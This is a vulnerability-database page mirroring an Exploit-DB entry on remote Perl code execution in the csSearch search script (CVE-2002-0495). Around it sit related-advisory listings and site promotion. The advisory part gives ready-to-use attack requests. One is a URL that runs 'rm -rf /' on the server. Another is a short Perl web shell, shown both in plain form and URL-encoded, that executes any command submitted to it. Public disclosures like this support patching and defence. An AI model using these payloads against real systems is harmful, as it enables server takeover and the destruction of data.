Lucene search
+L

CSSearch 2.3 - Remote Command Execution

🗓️ 26 Mar 2002 00:00:00Reported by Steve GustinType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

csSearch vulnerability allows remote Perl code execution via crafted web requests.

Related
Code
ReporterTitlePublishedViews
Family
checkpoint_advisories
Check Point Advisories
CsSearch csSearch.cgi Arbitrary Command Execution - Ver2 (CVE-2002-0495)
3 Mar 201400:00
checkpoint_advisories
nessus
Tenable Nessus
csSearch csSearch.cgi setup Parameter Arbitrary Command Execution
27 Mar 200200:00
nessus
cve
CVE
CVE-2002-0495
2 Apr 200305:00
cve
cvelist
Cvelist
CVE-2002-0495
2 Apr 200305:00
cvelist
nvd
NVD
CVE-2002-0495
12 Aug 200204:00
nvd
ptsecurity
Positive Technologies
PT-2002-1546 · Cssearch · Cssearch
12 Aug 200200:00
ptsecurity
source: https://www.securityfocus.com/bid/4368/info

csSearch is a website search script, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft operating systems.

csSearch is prone to an issue which may enable an attacker to execute Perl code with the privileges of the webserver process.

For exploitation to be successful, the attacker must pass properly URL encoded Perl code in CGI parameters via a web request. For example:

http://host/cgi-bin/csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

Configuration data is saved with the following URL.
Note that any perl code would need to be URL encoded.

csSearch.cgi?command=savesetup&setup=PERL_CODE_HERE

For example, the classic "rm -rf /" example would be
as follows:

csSearch.cgi?command=savesetup&setup=`rm%20-rf%20/`

Here's something a little more interesting, less than
300 bytes of code that turns csSearch into a remote
web shell of sorts.

*ShowSearchForm = *Login = sub {
print "<form method=post action=csSearch.cgi>Enter
Command (eg: ls -l)<br>";
print "<input type=text name=cmd size=99> ";
print "<input type=submit value=Execute><hr><xmp>";
$in{'cmd'} && print `$in{'cmd'} 2>&1`;
exit;
};

URL Encoded as:

csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm
and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26
%26print`$in{'cmd'}+2>%261`;exit;};

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.13092
30